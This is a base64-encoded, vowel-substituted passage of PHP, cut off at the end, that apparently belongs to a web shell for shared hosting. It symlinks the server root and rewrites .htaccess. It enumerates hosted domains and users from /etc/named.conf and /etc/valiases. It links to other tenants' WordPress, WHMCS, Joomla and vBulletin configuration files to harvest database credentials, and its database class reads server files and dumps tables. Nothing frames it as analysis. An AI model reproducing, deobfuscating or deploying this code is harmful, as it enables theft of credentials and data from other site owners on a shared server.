DQogfQ0KIA0KIDRmKDRzczV0KCRfUE9TVFsncGEnXSkgJiYgJF9QT1NUWydwYSddPT0nd2gybDUnKQ0KIHsNCiAgICANCiAgICANCiAgICBAczV0X3Q0bTVfbDRtNHQoMCk7DQogICAgDQogICAgNWNoMiAiPGM1bnQ1cj4iOw0KICAgIA0KICANCiAgICAgICAgDQpAbWtkNHIoJ3N5bScsMDc3Nyk7DQokSUlJSUlJSUlJSWw2ICA9ICJPcHQ0Mm5zIDFsbCBcbiBENHI1Y3QycnlJbmQ1eCBTM3guaHRtbCBcbiBBZGRUeXA1IHQ1eHQvcGwxNG4gLnBocCBcbiBBZGRIMW5kbDVyIHM1cnY1ci1wMXJzNWQgLnBocCBcbiAgQWRkVHlwNSB0NXh0L3BsMTRuIC5odG1sIFxuIEFkZEgxbmRsNXIgdHh0IC5odG1sIFxuIFI1cTM0cjUgTjJuNSBcbiBTMXQ0c2Z5IEFueSI7DQokSUlJSUlJSUlJSTZJID1AZjJwNW4gKCdzeW0vLmh0MWNjNXNzJywndycpOw0KZndyNHQ1KCRJSUlJSUlJSUlJNkkgLCRJSUlJSUlJSUlJbDYpOw0KQHN5bWw0bmsoJy8nLCdzeW0vcjIydCcpOw0KJElJSUlJSUlJSWxJbCA9IGIxczVuMW01KCdfRklMRV8nKTsNCiAgICANCiAgICANCiRJSUlJSUlJSUlsbEkgPSBAZjRsNSgnLzV0Yy9uMW01ZC5jMm5mJyk7DQo0ZighJElJSUlJSUlJSWxsSSkNCnsNCjVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+IyBDMW50IDFjYzVzcyB0aDRzIGY0bDUgMm4gczVydjVyIC0+IFsgLzV0Yy9uMW01ZC5jMm5mIF08L3ByNT48L2M1bnQ1cj4iOyANCn0NCjVsczUNCnsNCjVjaDIgIjx0MWJsNSAxbDRnbj0nYzVudDVyJyB3NGR0aD0ndTAlJyBjbDFzcz0nbTE0bic+PHRkPkQybTE0bnM8L3RkPjx0ZD5VczVyczwvdGQ+PHRkPnN5bWw0bmsgPC90ZD4iOw0KZjJyNTFjaCgkSUlJSUlJSUlJbGxJIDFzICRJSUlJSUlJSUlsbDYpew0KNGYoQDVyNWc0KCd6Mm41JywkSUlJSUlJSUlJbGw2KSl7DQpwcjVnX20xdGNoXzFsbCgnI3oybjUgIiguKikiIycsJElJSUlJSUlJSWxsNiwkSUlJSUlJSUlJbDY2KTsNCmZsM3NoKCk7DQo0ZihzdHJsNW4odHI0bSgkSUlJSUlJSUlJbDY2WzZdWzBdKSkgPmEpew0KJElJSUlJSUlJSTZJNiA9IHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJy81dGMvdjFsNDFzNXMvJy4kSUlJSUlJSUlJbDY2WzZdWzBdKSk7DQokSUlJSUlJSUk2STZsID0gJElJSUlJSUlJSTZJNlsnbjFtNSddIDsNCkBzeW1sNG5rKCcvJywnc3ltL3IyMnQnKTsNCiRJSUlJSUlJSTZJNmwgPSAkSUlJSUlJSUlJbDY2WzZdWzBdOw0KJElJSUlJSUlJNkk2NiA9ICdcLjRyJzsNCiRJSUlJSUlJSTZsSUkgPSAnXC40bCc7DQo0ZiAoQDVyNWc0KCIkSUlJSUlJSUk2STY2IiwkSUlJSUlJSUlJbDY2WzZdWzBdKSAyciBANXI1ZzQoIiRJSUlJSUlJSTZsSUkiLCRJSUlJSUlJSUlsNjZbNl1bMF0pICkNCnsNCiRJSUlJSUlJSTZJNmwgPSAiPGQ0diBzdHlsNT0nIGMybDJyOiAjRkYwMDAwIDsgdDV4dC1zaDFkMnc6IDBweCAwcHggNnB4IHI1ZDsgJz4iLiRJSUlJSUlJSUlsNjZbNl1bMF0uJzwvZDR2Pic7DQp9DQo1Y2gyICINCjx0cj4NCg0KPHRkPg0KPDEgdDFyZzV0PSdfYmwxbmsnIGhyNWY9aHR0cDovL3d3dy4iLiRJSUlJSUlJSUlsNjZbNl1bMF0uJy8+Jy4kSUlJSUlJSUk2STZsLicgPC8xPg0KPC90ZD4NCg0KPHRkPg0KJy4kSUlJSUlJSUlJNkk2WyduMW01J10uIg0KPC90ZD4NCg0KPHRkPg0KPDEgaHI1Zj0nc3ltL3IyMnQvaDJtNS8iLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4iL3AzYmw0Y19odG1sJyB0MXJnNXQ9J19ibDFuayc+c3ltbDRuayA8LzE+DQo8L3RkPg0KDQoNCjwvdHI+IjsNCmZsM3NoKCk7DQp9DQp9DQp9DQp9DQogICAgDQo1Y2gyICI8L2M1bnQ1cj48L3QxYmw1PiI7ICAgIA0KICAgIA0KIH0NCiANCiANCiANCiA0Zig0c3M1dCgkX1BPU1RbJ3BvJ10pICYmICRfUE9TVFsncG8nXT09J2MybmY0ZycpDQogDQogDQogew0KICA1Y2gyICI8YzVudDVyPiI7DQpAbWtkNHIoJ3N5bScsMDc3Nyk7DQokSUlJSUlJSUlJSWw2ICA9ICJPcHQ0Mm5zIDFsbCBcbiBENHI1Y3QycnlJbmQ1eCBTM3guaHRtbCBcbiBBZGRUeXA1IHQ1eHQvcGwxNG4gLnBocCBcbiBBZGRIMW5kbDVyIHM1cnY1ci1wMXJzNWQgLnBocCBcbiAgQWRkVHlwNSB0NXh0L3BsMTRuIC5odG1sIFxuIEFkZEgxbmRsNXIgdHh0IC5odG1sIFxuIFI1cTM0cjUgTjJuNSBcbiBTMXQ0c2Z5IEFueSI7DQokSUlJSUlJSUlJSTZJID1AZjJwNW4gKCdzeW0vLmh0MWNjNXNzJywndycpOw0KQGZ3cjR0NSgkSUlJSUlJSUlJSTZJICwkSUlJSUlJSUlJSWw2KTsNCkBzeW1sNG5rKCcvJywnc3ltL3IyMnQnKTsNCiRJSUlJSUlJSUlsSWwgPSBiMXM1bjFtNSgnX0ZJTEVfJyk7DQogIA0KICAgDQogICAkSUlJSUlJSUlJbGxJID0gQGY0bDUoJy81dGMvbjFtNWQuYzJuZicpOw0KNGYoISRJSUlJSUlJSUlsbEkpDQp7DQo1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiMgQzFudCAxY2M1c3MgdGg0cyBmNGw1IDJuIHM1cnY1ciAtPiBbIC81dGMvbjFtNWQuYzJuZiBdPC9wcjU+PC9jNW50NXI+IjsNCn0NCjVsczUNCnsNCjVjaDIgIg0KPHQxYmw1IDFsNGduPSdjNW50NXInIHc0ZHRoPSd1MCUnIGNsMXNzPSdtMTRuJyA+PHRkPiBEMm0xNG5zIDwvdGQ+PHRkPiBTY3I0cHQgPC90ZD4iOw0KZjJyNTFjaCgkSUlJSUlJSUlJbGxJIDFzICRJSUlJSUlJSUlsbDYpew0KNGYoQDVyNWc0KCd6Mm41JywkSUlJSUlJSUlJbGw2KSl7DQpwcjVnX20xdGNoXzFsbCgnI3oybjUgIiguKikiIycsJElJSUlJSUlJSWxsNiwkSUlJSUlJSUlJbDY2KTsNCmZsM3NoKCk7DQo0ZihzdHJsNW4odHI0bSgkSUlJSUlJSUlJbDY2WzZdWzBdKSkgPmEpew0KJElJSUlJSUlJSTZJNiA9IHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJy81dGMvdjFsNDFzNXMvJy4kSUlJSUlJSUlJbDY2WzZdWzBdKSk7DQokSUlJSUlJSUlJNmw2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvd3AtYzJuZjRnLnBocCc7DQokSUlJSUlJSUlJNjZJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSUk2bDYpOw0KJElJSUlJSUlJSTY2bD0kSUlJSUlJSUlJNjZJWzBdOw0KJElJSUlJSUlJSTY2Nj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2JsMmcvd3AtYzJuZjRnLnBocCc7DQokSUlJSUlJSUlsSUlJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSUk2NjYpOw0KJElJSUlJSUlJbElJbD0kSUlJSUlJSUlsSUlJWzBdOw0KJElJSUlJSUlJbElJNj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWxJbEk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbElJNik7DQokSUlJSUlJSUlsSWxsPSRJSUlJSUlJSWxJbElbMF07DQokSUlJSUlJSUlsSWw2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvajIybWwxL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWxJNkk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbElsNik7DQokSUlJSUlJSUlsSTZsPSRJSUlJSUlJSWxJNklbMF07DQokSUlJSUlJSUlsSTY2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvNG5jbDNkNXMvYzJuZjRnLnBocCc7DQokSUlJSUlJSUlsbElJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSWxJNjYpOw0KJElJSUlJSUlJbGxJbD0kSUlJSUlJSUlsbElJWzBdOw0KJElJSUlJSUlJbGxJNj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL3ZiLzRuY2wzZDVzL2MybmY0Zy5waHAnOw0KJElJSUlJSUlJbGxsST1nNXRfaDUxZDVycygkSUlJSUlJSUlsbEk2KTsNCiRJSUlJSUlJSWxsbGw9JElJSUlJSUlJbGxsSVswXTsNCiRJSUlJSUlJSWxsbDY9JElJSUlJSUlJSUlJbC4nL3N5bS9yMjJ0L2gybTUvJy4kSUlJSUlJSUlJNkk2WyduMW01J10uJy9wM2JsNGNfaHRtbC9mMnIzbS80bmNsM2Q1cy9jMm5mNGcucGhwJzsNCiRJSUlJSUlJSWxsNkk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbGxsNik7DQokSUlJSUlJSUlsbDZsPSRJSUlJSUlJSWxsNklbMF07DQokSUlJSUlJSUlsbDY2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLidwM2JsNGNfaHRtbC9jbDQ1bnRzL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWw2SUk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbGw2Nik7DQokSUlJSUlJSUlsNklsPSRJSUlJSUlJSWw2SUlbMF07DQokSUlJSUlJSUlsNkk2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvczNwcDJydC9jMm5mNGczcjF0NDJuLnBocCc7DQokSUlJSUlJSUlsNklJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSWw2STYpOw0KJElJSUlJSUlJbDZsST0kSUlJSUlJSUlsNklJWzBdOw0KJElJSUlJSUlJbDZsbD0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2NsNDVudC9jMm5mNGczcjF0NDJuLnBocCc7DQokSUlJSUlJSUlsNmw2PWc1dF9oNTFkNXJzKCRJSUlJSUlJSWw2bGwpOw0KJElJSUlJSUlJbDY2ST0kSUlJSUlJSUlsNmw2WzBdOw0KJElJSUlJSUlJbDY2bD0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL3MzYm00dHQ0Y2s1dC5waHAnOw0KJElJSUlJSUlJbDY2Nj1nNXRfaDUxZDVycygkSUlJSUlJSUlsNjZsKTsNCiRJSUlJSUlJSTZJSUk9JElJSUlJSUlJbDY2NlswXTsNCiRJSUlJSUlJSTZJSWw9JElJSUlJSUlJSUlJbC4nL3N5bS9yMjJ0L2gybTUvJy4kSUlJSUlJSUlJNkk2WyduMW01J10uJy9wM2JsNGNfaHRtbC9jbDQ1bnQvYzJuZjRnM3IxdDQybi5waHAnOw0KJElJSUlJSUlJNklJNj1nNXRfaDUxZDVycygkSUlJSUlJSUk2SUlsKTsNCiRJSUlJSUlJSTZJbEk9JElJSUlJSUlJNklJNlswXTsNCiRJSUlJSUlJSTZJbGwgPSBzdHJwMnMoJElJSUlJSUlJSTY2bCwnYTAwJyk7DQokSUlJSUlJSUk2STZJPScmbmJzcDsnOw0KNGYgKHN0cnAycygkSUlJSUlJSUlJNjZsLCdhMDAnKSA9PSB0cjM1ICkNCnsNCiRJSUlJSUlJSTZJNkk9IjwxIGhyNWY9JyIuJElJSUlJSUlJSTZsNi4iJyB0MXJnNXQ9J19ibDFuayc+VzJyZHByNXNzPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsSUlsLCdhMDAnKSA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iPDEgaHI1Zj0nIi4kSUlJSUlJSUlJNjY2LiInIHQxcmc1dD0nX2JsMW5rJz5XMnJkcHI1c3M8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxJbGwsJ2EwMCcpICA9PSB0cjM1IDFuZCBzdHJwMnMoJElJSUlJSUlJNklJSSwnYTAwJykgID09IHRyMzUgKQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbDY2bC4iJyB0MXJnNXQ9J19ibDFuayc+V0hNQ1M8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWw2bEksJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2SSA9IiA8MSBocjVmPSciLiRJSUlJSUlJSWw2STYuIicgdDFyZzV0PSdfYmwxbmsnPldITUNTPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsNjZJLCdhMDAnKSAgPT0gdHIzNSkNCnsNCiRJSUlJSUlJSTZJNkkgPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsNmxsLiInIHQxcmc1dD0nX2JsMW5rJz5XSE1DUzwvMT4iOw0KfQ0KNWxzNTRmIChzdHJwMnMoJElJSUlJSUlJbElsbCwnYTAwJykgID09IHRyMzUpDQp7DQokSUlJSUlJSUk2STZJPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsSUk2LiInIHQxcmc1dD0nX2JsMW5rJz5KMjJtbDE8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxJNmwsJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbElsNi4iJyB0MXJnNXQ9J19ibDFuayc+SjIybWwxPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsbElsLCdhMDAnKSAgPT0gdHIzNSkNCnsNCiRJSUlJSUlJSTZJNkk9IiA8MSBocjVmPSciLiRJSUlJSUlJSWxJNjYuIicgdDFyZzV0PSdfYmwxbmsnPnZCM2xsNXQ0bjwvMT4iOw0KfQ0KNWxzNTRmIChzdHJwMnMoJElJSUlJSUlJbGxsbCwnYTAwJykgID09IHRyMzUpDQp7DQokSUlJSUlJSUk2STZJPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsbEk2LiInIHQxcmc1dD0nX2JsMW5rJz52QjNsbDV0NG48LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxsNmwsJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbGxsNi4iJyB0MXJnNXQ9J19ibDFuayc+dkIzbGw1dDRuPC8xPiI7DQp9DQo1bHM1DQp7DQpjMm50NG4zNTsNCn0NCiRJSUlJSUlJSTZJNmwgPSAkSUlJSUlJSUlJNkk2WyduMW01J10gOw0KNWNoMiAnPHRyPjx0ZD48MSBocjVmPWh0dHA6Ly93d3cuJy4kSUlJSUlJSUlJbDY2WzZdWzBdLicvPicuJElJSUlJSUlJSWw2Nls2XVswXS4nPC8xPjwvdGQ+DQo8dGQ+Jy4kSUlJSUlJSUk2STZJLic8L3RkPjwvdHI+JztmbDNzaCgpOw0KfQ0KfQ0KfQ0KfQ0KNWNoMiAiPC9jNW50NXI+PC90MWJsNT4iOyAgIA0KICAgIA0KIH0NCiAgICANCiAgICA1Y2gyICI8L2Q0dj4iOw0KICAgIG0xZGYyMnQ1cigpOw0KICAgIA0KfSAgICANCg0KDQpmM25jdDQybiBtMWRzcWwoKQ0Kew0KICAgIA0KICAgIA0KICAgIGNsMXNzIERiQ2wxc3Mgew0KCQl2MXIgJHR5cDU7DQoJCXYxciAkbDRuazsNCgkJdjFyICRyNXM7DQoJCWYzbmN0NDJuIERiQ2wxc3MoJHR5cDUpCXsNCgkJCSR0aDRzLT50eXA1ID0gJHR5cDU7DQoJCX0NCgkJZjNuY3Q0Mm4gYzJubjVjdCgkaDJzdCwgJDNzNXIsICRwMXNzLCAkZGJuMW01KXsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYoICR0aDRzLT5sNG5rID0gQG15c3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MsdHIzNSkgKSByNXQzcm4gdHIzNTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQkkaDJzdCA9IDV4cGwyZDUoJzonLCAkaDJzdCk7DQoJCQkJCTRmKCEkaDJzdFs2XSkgJGgyc3RbNl09aXVvYTsNCgkJCQkJNGYoICR0aDRzLT5sNG5rID0gQHBnX2Mybm41Y3QoImgyc3Q9eyRoMnN0WzBdfSBwMnJ0PXskaDJzdFs2XX0gM3M1cj0kM3M1ciBwMXNzdzJyZD0kcDFzcyBkYm4xbTU9JGRibjFtNSIpICkgcjV0M3JuIHRyMzU7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHM1bDVjdGRiKCRkYikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZiAoQG15c3FsX3M1bDVjdF9kYigkZGIpKXI1dDNybiB0cjM1Ow0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBxMzVyeSgkc3RyKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpIHsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gQG15c3FsX3EzNXJ5KCRzdHIpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gQHBnX3EzNXJ5KCR0aDRzLT5sNG5rLCRzdHIpOw0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBmNXRjaCgpIHsNCgkJCSRyNXMgPSBmM25jX24zbV8xcmdzKCk/ZjNuY19nNXRfMXJnKDApOiR0aDRzLT5yNXM7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiBAbXlzcWxfZjV0Y2hfMXNzMmMoJHI1cyk7DQoJCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuIEBwZ19mNXRjaF8xc3MyYygkcjVzKTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gbDRzdERicygpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cTM1cnkoIlNIT1cgZDF0MWIxczVzIik7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgiU0VMRUNUIGQxdG4xbTUgRlJPTSBwZ19kMXQxYjFzNSBXSEVSRSBkMXQ0c3Q1bXBsMXQ1IT0ndCciKTsNCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBsNHN0VDFibDVzKCkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgnU0hPVyBUQUJMRVMnKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJzNWw1Y3QgdDFibDVfbjFtNSBmcjJtIDRuZjJybTF0NDJuX3NjaDVtMS50MWJsNXMgd2g1cjUgdDFibDVfc2NoNW0xICE9ICc0bmYycm0xdDQybl9zY2g1bTEnIEFORCB0MWJsNV9zY2g1bTEgIT0gJ3BnX2MxdDFsMmcnIik7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gNXJyMnIoKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiBAbXlzcWxfNXJyMnIoKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfbDFzdF81cnIycigpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHM1dENoMXJzNXQoJHN0cikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX3M1dF9jaDFyczV0JykpDQoJCQkJCQlyNXQzcm4gQG15c3FsX3M1dF9jaDFyczV0KCRzdHIsICR0aDRzLT5sNG5rKTsNCgkJCQkJNWxzNQ0KCQkJCQkJJHRoNHMtPnEzNXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfczV0X2NsNDVudF81bmMyZDRuZygkdGg0cy0+bDRuaywgJHN0cik7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGwyMWRGNGw1KCRzdHIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5mNXRjaCgkdGg0cy0+cTM1cnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuMWRkc2wxc2g1cygkc3RyKS4iJykgMXMgZjRsNSIpKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCSR0aDRzLT5xMzVyeSgiQ1JFQVRFIFRBQkxFIHdzMmEoZjRsNSB0NXh0KTtDT1BZIHdzMmEgRlJPTSAnIi4xZGRzbDFzaDVzKCRzdHIpLiInO3M1bDVjdCBmNGw1IGZyMm0gd3MyYTsiKTsNCgkJCQkJJHI9MXJyMXkoKTsNCgkJCQkJd2g0bDUoJDQ9JHRoNHMtPmY1dGNoKCkpDQoJCQkJCQkkcltdID0gJDRbJ2Y0bDUnXTsNCgkJCQkJJHRoNHMtPnEzNXJ5KCdkcjJwIHQxYmw1IHdzMmEnKTsNCgkJCQkJcjV0M3JuIDFycjF5KCdmNGw1Jz0+NG1wbDJkNSgiXG4iLCRyKSk7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gZDNtcCgkdDFibDUsICRmcCA9IGYxbHM1KSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCSRyNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0MWJsNS4nYCcpOw0KCQkJCQkkY3I1MXQ1ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHI1cyk7DQoJCQkJCSRzcWwgPSAkY3I1MXQ1WzZdLiI7XG4iOw0KICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCSR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSBgJy4kdDFibDUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSB0cjM1Ow0KCQkJCQl3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7DQoJCQkJCQkkYzJsM21ucyA9IDFycjF5KCk7DQoJCQkJCQlmMnI1MWNoKCQ0dDVtIDFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR2ID09IG4zbGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoNHNfbjNtNXI0YygkdikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICR2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIiciLkBteXNxbF9yNTFsXzVzYzFwNV9zdHI0bmcoJHYpLiInIjsNCgkJCQkJCQkkYzJsM21uc1tdID0gImAiLiRrLiJgIjsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRoNTFkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdDFibDUuJ2AgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuIikgVkFMVUVTIFxuXHQoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSBmMWxzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiXG5cdCwoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgNGYoISRoNTFkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAiO1xuXG4iKTsgNWxzNSA1Y2gyKCI7XG5cbiIpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJJHRoNHMtPnEzNXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHQxYmw1KTsNCgkJCQkJd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KCQkJCQkJJGMybDNtbnMgPSAxcnIxeSgpOw0KCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCgkJCQkJCQkkNHQ1bVska10gPSAiJyIuMWRkc2wxc2g1cygkdikuIiciOw0KCQkJCQkJCSRjMmwzbW5zW10gPSAkazsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdDFibDUuJyAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4nKSBWQUxVRVMgKCcuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyk7Jy4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KCQkJCQl9DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgl9Ow0KCSRkYiA9IG41dyBEYkNsMXNzKCRfUE9TVFsndHlwNSddKTsNCgk0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQoJCSRkYi0+YzJubjVjdCgk